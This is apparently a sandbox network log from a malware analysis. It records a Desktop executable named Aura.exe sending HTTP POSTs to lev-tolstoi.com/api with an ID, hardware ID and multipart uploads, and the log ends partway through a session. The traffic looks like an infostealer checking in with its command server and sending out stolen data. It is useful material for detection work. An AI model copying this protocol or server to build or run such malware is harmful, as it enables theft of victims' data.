2024-12-27 22:47:31 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d1oraocf0383k6ovq8aisrhbpd; expires=Tue, 22 Apr 2025 16:34:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1E6lemEq4ip3qo0nvSK1K5L3LD%2FkxUMLBZJuQBs9LX91E4IA74dquW5NxthZ36xlXRaRxNbocggQuOEM%2FP1BCZxOOEvu1O0floB6oVasi%2BRmgy34yiKw3V%2BpHulORLkUDbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda501811de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1509&min_rtt=1501&rtt_var=579&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1862244&cwnd=240&unsent_bytes=0&cid=fc11e74a8afc3358&ts=770&x=0"
2024-12-27 22:47:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 22:47:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:32 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: lev-tolstoi.com
2024-12-27 22:47:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@hitok4111&j=
2024-12-27 22:47:33 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgli6lgfectt7l049mmqdissb1; expires=Tue, 22 Apr 2025 16:34:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VtMLVGqXWgbeiTT2FEgrSuM4nAEWsSBi18RLSwpO%2BijpMH66O%2BBWRS7mqCVfSxh73NcR24B80mxGx9NZSJvhPU1WHr5XaGJGby2Opsa3nTk5CPtLHbO6S5loZbNV2q8fxU4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda5cec4d420b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1617&rtt_var=627&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=951&delivery_rate=1717647&cwnd=136&unsent_bytes=0&cid=cfc92c59e7d691a1&ts=781&x=0"
2024-12-27 22:47:33 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 6d 6a 78 43 6b 76 62 4e 69 77 4c 48 76 36 56 30 6f 6c 47 53 31 4a 2f 65 36 37 4c 47 38 2b 63 45 32 75 39 49 57 56 6b 79 64 4b 6a 68 48 6a 53 77 7a 50 6d 6e 49 4c 54 61 68 30 37 57 49 2b 65 78 73 2f 79 4b 31 75 54 4a 67 57 57 32 6e 43 31 31 65 30 51 5a 69 71 42 61 49 2f 36 46 71 4b 63 67 6f 73 65 48 54 76 6b 71 73 4c 48 78 2f 4e 47 51 6f 35 6d 46 5a 62 61 4e 4b 54 49 32 51 68 6a 4c 38 6c 41 6c 2b 70 4f 75 37 32 4f 72 30 73 41 52 78 7a 44 34 75 76 61 7a 67 39 2f 6b 33 38 56 68 6f 4d 31 79 65 78 52 58 41 4d 6e 58 58 54 48 35 31 4c 43 6e 65 65 58 61 79 31 61 59 63 2f 4f 78 2f 62 4b 4e 31 71 32 62 6a 32 79 2b 6a 43 77 7a 4b 56 73 53 77 50 4a 65 4a 76 75 5a 70 2f 74 75 6f 64 58 4c 46 38 30 77 73 50 69 39 75 35 47 51 2f 4e Data Ascii: 491cmjxCkvbNiwLHv6V0olGS1J/e67LG8+cE2u9IWVkydKjhHjSwzPmnILTah07WI+exs/yK1uTJgWW2nC11e0QZiqBaI/6FqKcgoseHTvkqsLHx/NGQo5mFZbaNKTI2QhjL8lAl+pOu72Or0sARxzD4uvazg9/k38VhoM1yexRXAMnXXTH51LCneeXay1aYc/Ox/bKN1q2bj2y+jCwzKVsSwPJeJvuZp/tuodXLF80wsPi9u5GQ/N
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 48 57 56 4c 75 63 4f 79 34 32 51 42 43 4b 35 78 41 35 73 4a 4f 6a 71 54 6a 6c 31 63 73 59 78 54 44 2f 73 66 79 38 6d 39 2b 6b 6b 6f 31 75 76 49 63 6c 4e 44 52 65 48 4d 33 77 56 79 66 2f 6b 36 66 76 62 36 61 64 69 56 62 48 4b 37 44 75 76 5a 79 5a 30 36 65 46 69 48 66 34 6b 6d 51 69 65 31 63 61 69 71 41 65 4a 76 36 56 6f 75 6c 79 72 64 62 4d 45 39 49 34 2b 62 76 77 76 49 54 61 71 35 4b 46 59 62 4b 48 4a 54 45 2f 58 52 76 4d 2b 46 35 67 76 74 53 6f 38 53 44 39 6e 65 51 54 30 44 54 38 6f 4c 2b 47 79 63 2f 71 69 4d 56 68 74 4d 31 79 65 7a 4e 56 46 63 6e 7a 55 53 50 34 6e 37 33 70 63 71 50 51 77 67 54 47 4e 76 36 38 2f 71 36 44 33 71 4b 53 6a 47 32 78 69 43 30 2f 65 78 35 57 7a 65 41 65 65 4c 43 31 6f 75 4a 73 72 38 72 48 56 74 39 39 36 66 62 36 73 4d 6d 49 35 Data Ascii: HWVLucOy42QBCK5xA5sJOjqTjl1csYxTD/sfy8m9+kko1uvIclNDReHM3wVyf/k6fvb6adiVbHK7DuvZyZ06eFiHf4kmQie1caiqAeJv6VoulyrdbME9I4+bvwvITaq5KFYbKHJTE/XRvM+F5gvtSo8SD9neQT0DT8oL+Gyc/qiMVhtM1yezNVFcnzUSP4n73pcqPQwgTGNv68/q6D3qKSjG2xiC0/ex5WzeAeeLC1ouJsr8rHVt996fb6sMmI5
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 34 77 32 6f 38 49 78 42 4f 69 74 4a 64 4e 50 4f 65 37 64 78 6a 71 39 50 41 41 49 41 73 76 71 2b 39 75 34 57 51 2f 4e 47 49 5a 37 43 4c 4f 44 51 32 55 78 6a 45 39 31 73 76 2b 4a 53 76 35 47 57 68 31 73 77 56 7a 54 66 69 76 50 32 30 6a 4e 47 75 6d 38 55 6f 2b 49 6f 79 65 32 4d 51 4a 39 33 7a 48 42 58 7a 6d 71 48 75 64 75 58 43 69 51 2b 41 4e 50 7a 32 70 66 79 45 32 4b 47 55 69 6d 65 79 67 79 38 78 4e 31 67 59 79 65 70 52 4a 50 43 59 70 2b 4e 74 71 39 6e 50 48 38 73 34 39 72 62 38 74 73 6d 65 35 4a 61 64 4a 75 44 4e 48 6a 77 33 58 52 6d 49 7a 56 30 75 2f 70 4f 35 71 58 2f 72 78 49 63 52 7a 48 4f 6f 39 76 47 31 69 64 75 75 6c 59 56 68 74 59 67 70 50 44 68 64 45 63 44 32 57 53 54 38 6e 61 4c 76 59 4b 4c 5a 77 67 54 46 4f 76 79 36 76 66 4c 4a 31 37 7a 52 33 53 Data Ascii: 4w2o8IxBOitJdNPOe7dxjq9PAAIAsvq+9u4WQ/NGIZ7CLODQ2UxjE91sv+JSv5GWh1swVzTfivP20jNGum8Uo+Ioye2MQJ93zHBXzmqHuduXCiQ+ANPz2pfyE2KGUimeygy8xN1gYyepRJPCYp+Ntq9nPH8s49rb8tsme5JadJuDNHjw3XRmIzV0u/pO5qX/rxIcRzHOo9vG1iduulYVhtYgpPDhdEcD2WST8naLvYKLZwgTFOvy6vfLJ17zR3S
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 65 32 4d 51 48 38 50 71 55 43 37 35 6d 61 6e 68 5a 36 76 51 7a 42 44 4c 4e 50 65 77 38 4c 53 45 31 61 65 51 67 57 79 71 6a 69 45 78 4e 6c 70 57 68 4c 68 5a 4f 4c 44 4d 37 38 35 73 6a 4d 33 63 42 4e 5a 7a 37 2f 6a 6b 2f 49 37 63 35 4d 6e 46 5a 62 65 45 4a 54 4d 7a 58 78 6e 4f 39 6c 67 6d 2f 5a 47 67 34 33 4b 74 30 38 6f 64 7a 7a 6a 69 74 76 43 34 68 64 53 73 6d 6f 38 6d 39 73 30 74 49 33 73 49 56 76 2f 31 55 53 44 7a 67 75 2f 32 4c 72 79 64 77 42 71 41 61 37 43 36 38 37 79 47 33 4b 69 61 6a 57 65 30 67 79 30 2b 4d 6c 67 65 32 50 6c 61 4b 50 47 61 6f 4f 68 6b 6f 4e 6a 44 45 63 51 31 2f 2f 61 7a 2f 49 37 49 35 4d 6e 46 53 5a 2b 34 61 42 6f 42 45 41 6d 45 34 52 34 6e 2f 4e 54 33 71 57 79 6d 30 63 38 5a 78 6a 72 38 76 50 53 33 68 64 75 67 6e 59 78 6a 76 6f 77 Data Ascii: e2MQH8PqUC75manhZ6vQzBDLNPew8LSE1aeQgWyqjiExNlpWhLhZOLDM785sjM3cBNZz7/jk/I7c5MnFZbeEJTMzXxnO9lgm/ZGg43Kt08odzzjitvC4hdSsmo8m9s0tI3sIVv/1USDzgu/2LrydwBqAa7C687yG3KiajWe0gy0+Mlge2PlaKPGaoOhkoNjDEcQ1//az/I7I5MnFSZ+4aBoBEAmE4R4n/NT3qWym0c8Zxjr8vPS3hdugnYxjvow
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 68 48 44 36 6c 41 74 2f 35 79 6e 34 47 47 68 32 4d 6f 51 7a 44 6e 78 73 66 4f 79 67 5a 44 71 30 59 4a 2b 2b 4e 56 71 47 69 74 4c 42 4e 7a 31 66 79 33 2f 31 4c 43 6e 65 65 58 61 79 31 61 59 63 2f 6d 6b 2b 62 47 62 32 61 4f 66 69 6d 57 71 6a 43 63 77 4b 56 63 5a 7a 76 39 53 4a 76 2b 53 72 75 78 71 71 64 72 43 48 63 38 2f 73 50 69 39 75 35 47 51 2f 4e 47 72 62 61 75 61 4b 54 55 77 52 67 32 4b 35 78 41 35 73 4a 4f 6a 71 54 6a 6c 33 73 77 64 78 44 50 38 74 76 6d 78 69 63 4b 72 6c 6f 4a 76 73 35 38 67 50 44 78 62 48 73 48 33 57 44 4c 38 6d 72 33 73 63 72 65 64 69 56 62 48 4b 37 44 75 76 59 71 4f 77 4c 53 53 78 31 65 75 6a 6a 77 77 4e 6c 78 57 31 62 5a 48 59 50 65 59 37 37 45 67 6f 39 4c 4f 46 63 38 79 2b 62 72 77 75 59 44 56 70 5a 65 42 62 4c 4b 4e 4c 44 30 36 Data Ascii: hHD6lAt/5yn4GGh2MoQzDnxsfOygZDq0YJ++NVqGitLBNz1fy3/1LCneeXay1aYc/mk+bGb2aOfimWqjCcwKVcZzv9SJv+SruxqqdrCHc8/sPi9u5GQ/NGrbauaKTUwRg2K5xA5sJOjqTjl3swdxDP8tvmxicKrloJvs58gPDxbHsH3WDL8mr3scrediVbHK7DuvYqOwLSSx1eujjwwNlxW1bZHYPeY77Ego9LOFc8y+brwuYDVpZeBbLKNLD06
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 68 5a 4c 4c 44 4d 37 2b 70 6e 70 74 7a 4e 48 38 77 38 39 37 4c 76 74 6f 37 43 70 5a 43 4f 61 37 53 4e 4a 7a 59 78 55 52 2f 48 39 46 4d 6e 39 35 75 71 71 53 37 6c 32 74 39 57 6d 48 50 52 75 2f 61 77 30 6f 72 6b 6a 73 74 2f 2b 49 6f 6d 65 32 4d 51 46 73 44 39 56 43 33 7a 6d 36 7a 37 59 61 50 50 78 78 76 4b 49 66 71 39 2b 4c 47 45 33 61 65 58 67 32 32 30 6e 79 4d 37 4f 46 74 57 68 4c 68 5a 4f 4c 44 4d 37 38 70 33 73 39 66 41 47 74 59 34 38 62 58 72 73 5a 6d 51 36 74 47 55 59 61 6e 4e 63 69 30 72 52 78 48 56 74 6b 64 67 39 35 6a 76 73 53 43 6a 31 4d 45 52 78 6a 33 69 73 2f 75 7a 68 74 6d 74 6c 59 31 6c 75 49 6b 75 50 44 35 54 47 73 48 2f 58 53 2f 30 6e 61 48 67 62 2b 57 54 68 78 48 59 63 36 6a 32 33 4b 65 4b 33 4b 6e 52 6d 69 69 68 7a 53 30 33 65 77 68 57 78 Data Ascii: hZLLDM7+pnptzNH8w897Lvto7CpZCOa7SNJzYxUR/H9FMn95uqqS7l2t9WmHPRu/aw0orkjst/+Iome2MQFsD9VC3zm6z7YaPPxxvKIfq9+LGE3aeXg220nyM7OFtWhLhZOLDM78p3s9fAGtY48bXrsZmQ6tGUYanNci0rRxHVtkdg95jvsSCj1MERxj3is/uzhtmtlY1luIkuPD5TGsH/XS/0naHgb+WThxHYc6j23KeK3KnRmiihzS03ewhWx
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 37 67 71 72 75 64 75 66 6f 78 42 6a 4f 4e 4f 62 32 34 6f 50 48 6b 4b 75 4c 78 54 36 42 6c 47 6f 38 4e 78 42 4f 69 75 31 5a 49 50 65 4f 75 65 35 73 74 4e 62 4b 47 75 49 38 39 36 44 2b 73 34 72 42 72 64 32 4f 61 2f 6a 44 61 6a 77 6a 45 45 36 4b 31 31 6b 32 38 37 75 73 2b 47 6e 6c 6b 34 63 52 31 6e 4f 6f 39 73 50 38 6d 39 4f 30 6b 6f 70 33 68 73 31 79 49 67 55 51 48 64 7a 2f 54 69 50 6d 6e 36 4c 6c 63 5a 75 64 6e 30 4b 53 59 61 4c 6b 72 36 50 4a 7a 35 76 66 78 57 66 34 31 52 4d 69 65 30 5a 57 6b 71 6f 51 59 4f 4c 55 39 36 6b 6e 70 73 2f 56 45 4d 4d 6c 38 2f 48 44 67 71 37 47 72 70 61 56 59 61 2b 43 61 6e 56 37 58 31 61 53 77 52 34 70 39 34 2b 2b 2f 32 32 31 32 6f 63 70 6a 6e 50 6f 39 71 58 38 76 4e 4f 71 6e 34 4a 77 71 63 41 4e 4c 54 46 58 42 73 33 76 55 57 Data Ascii: 7gqrudufoxBjONOb24oPHkKuLxT6BlGo8NxBOiu1ZIPeOue5stNbKGuI896D+s4rBrd2Oa/jDajwjEE6K11k287us+Gnlk4cR1nOo9sP8m9O0kop3hs1yIgUQHdz/TiPmn6LlcZudn0KSYaLkr6PJz5vfxWf41RMie0ZWkqoQYOLU96knps/VEMMl8/HDgq7GrpaVYa+CanV7X1aSwR4p94++/2212ocpjnPo9qX8vNOqn4JwqcANLTFXBs3vUW
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 34 6d 43 69 7a 64 45 4e 6a 44 76 7a 72 4f 65 43 74 2f 75 6f 6c 34 4a 38 76 34 73 4d 47 33 73 65 56 73 57 34 42 68 6d 77 33 4f 2f 57 4c 75 58 46 68 30 36 41 42 76 4f 34 38 37 75 66 77 65 6d 35 70 6c 79 43 7a 77 59 38 4c 68 49 69 7a 65 68 50 4b 2f 32 59 37 36 63 67 6f 35 32 66 52 6f 35 7a 39 4b 65 39 35 4e 6d 43 2f 38 54 57 4d 65 6a 66 4e 58 55 69 45 41 43 4b 6f 41 78 75 73 49 62 76 73 53 44 69 33 74 55 45 78 6a 44 6d 74 62 71 43 74 2f 65 71 6c 6f 52 77 71 4a 6f 6c 42 51 56 46 46 63 54 32 57 54 62 68 31 4f 47 70 62 2b 57 46 2f 6c 61 49 63 38 2f 34 76 61 54 4a 69 4f 53 6b 68 6d 69 32 69 6a 77 71 64 6e 63 59 7a 66 6c 49 4d 4f 65 62 37 36 63 67 6f 35 32 66 52 49 35 7a 39 4b 65 39 35 4e 6d 43 2f 38 54 57 4d 65 6a 66 4e 58 55 69 45 41 43 4b 6f 41 78 75 73 49 62 Data Ascii: 4mCizdENjDvzrOeCt/uol4J8v4sMG3seVsW4Bhmw3O/WLuXFh06ABvO487ufwem5plyCzwY8LhIizehPK/2Y76cgo52fRo5z9Ke95NmC/8TWMejfNXUiEACKoAxusIbvsSDi3tUExjDmtbqCt/eqloRwqJolBQVFFcT2WTbh1OGpb+WF/laIc8/4vaTJiOSkhmi2ijwqdncYzflIMOeb76cgo52fRI5z9Ke95NmC/8TWMejfNXUiEACKoAxusIb
2024-12-27 22:47:33 UTC	1369	IN	Data Raw: 73 76 45 56 6f 35 7a 2f 50 61 6c 2f 49 6a 61 74 4a 79 4b 59 66 53 4b 4d 44 78 37 48 6c 62 45 75 41 5a 67 38 5a 36 2f 35 47 2b 69 6b 63 45 59 7a 6e 50 76 2b 4f 54 38 6e 35 44 38 77 73 73 6d 71 73 31 79 65 33 78 54 42 4e 6a 2b 58 54 62 7a 30 35 48 58 54 62 66 61 31 78 57 43 41 76 32 79 36 36 6d 4b 77 4b 4f 76 75 30 75 71 69 6a 6f 34 65 57 45 41 79 66 68 51 4a 37 44 61 37 2f 45 67 2f 5a 33 71 42 4d 63 6a 38 2f 61 7a 2f 49 57 51 2f 4e 47 49 64 4c 2b 64 4b 58 63 38 53 68 47 4b 35 78 41 35 73 49 4c 76 73 54 50 72 6e 64 56 57 6d 48 4f 33 75 50 43 39 69 74 36 6e 67 35 64 67 75 35 73 70 66 41 56 75 4f 39 6a 2f 54 69 4f 79 70 61 4c 74 64 72 44 65 31 78 48 2b 44 64 32 6b 2b 71 79 4b 6b 6f 69 57 69 47 71 47 73 78 30 71 50 45 42 55 37 50 74 49 49 37 44 61 37 2f 45 67 Data Ascii: svEVo5z/Pal/IjatJyKYfSKMDx7HlbEuAZg8Z6/5G+ikcEYznPv+OT8n5D8wssmqs1ye3xTBNj+XTbz05HXTbfa1xWCAv2y66mKwKOvu0uqijo4eWEAyfhQJ7Da7/Eg/Z3qBMcj8/az/IWQ/NGIdL+dKXc8ShGK5xA5sILvsTPrndVWmHO3uPC9it6ng5dgu5spfAVuO9j/TiOypaLtdrDe1xH+Dd2k+qyKkoiWiGqGsx0qPEBU7PtII7Da7/Eg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NZT99NLH0EXMQ0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18144 Host: lev-tolstoi.com
2024-12-27 22:47:35 UTC	15331	OUT	Data Raw: 2d 2d 4e 5a 54 39 39 4e 4c 48 30 45 58 4d 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 0d 0a 2d 2d 4e 5a 54 39 39 4e 4c 48 30 45 58 4d 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 5a 54 39 39 4e 4c 48 30 45 58 4d 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 0d 0a 2d 2d 4e 5a 54 Data Ascii: --NZT99NLH0EXMQ0Content-Disposition: form-data; name="hwid"4D582023FB8F39D4C0B9CBDD268CC7CD--NZT99NLH0EXMQ0Content-Disposition: form-data; name="pid"2--NZT99NLH0EXMQ0Content-Disposition: form-data; name="lid"BVnUqo--@hitok4111--NZT
2024-12-27 22:47:35 UTC	2813	OUT	Data Raw: e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wE
2024-12-27 22:47:36 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5rg29f2m03n8tre3vb6rtmdvh4; expires=Tue, 22 Apr 2025 16:34:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GbBxxCzLEDiqXs%2BmYq%2BC%2FYLUrhNcVDrpDX66MFltfRUPbgew%2BYhoQfA8EiS3W1VvyLKSmD7puEBasp1YQHjwZkhvLo2qKjpH8%2Fgp65jq%2BusqACjXtLcBekHaHzAGHN7sG0U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda6f1d9b422d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1633&rtt_var=626&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19101&delivery_rate=1788120&cwnd=232&unsent_bytes=0&cid=e5232b48f0f194f8&ts=965&x=0"
2024-12-27 22:47:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:47:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:37 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QGUKJY56F4XQM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8759 Host: lev-tolstoi.com
2024-12-27 22:47:37 UTC	8759	OUT	Data Raw: 2d 2d 51 47 55 4b 4a 59 35 36 46 34 58 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 0d 0a 2d 2d 51 47 55 4b 4a 59 35 36 46 34 58 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 47 55 4b 4a 59 35 36 46 34 58 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 0d 0a 2d 2d 51 47 55 4b 4a 59 Data Ascii: --QGUKJY56F4XQMContent-Disposition: form-data; name="hwid"4D582023FB8F39D4C0B9CBDD268CC7CD--QGUKJY56F4XQMContent-Disposition: form-data; name="pid"2--QGUKJY56F4XQMContent-Disposition: form-data; name="lid"BVnUqo--@hitok4111--QGUKJY
2024-12-27 22:47:38 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kacc170c92voutnerndq1uml9i; expires=Tue, 22 Apr 2025 16:34:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2BXoRxx80XqzXAZLGi%2BkiTurkGd%2FKH0TXZHE4AcI1IIcbNotD7g8RrRt%2FBGvqx8xUNNL6SvTwpNmdqXKAnQt8NtR2%2BX24gc6Qg4pJ8cxKY28IDwHGZKjRJvOk3PkMCL4UM0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda7debf541d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1540&rtt_var=603&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2835&recv_bytes=9692&delivery_rate=1778319&cwnd=218&unsent_bytes=0&cid=4b67dee851888b48&ts=878&x=0"
2024-12-27 22:47:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:47:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:40 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AE5L39HWTN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20394 Host: lev-tolstoi.com
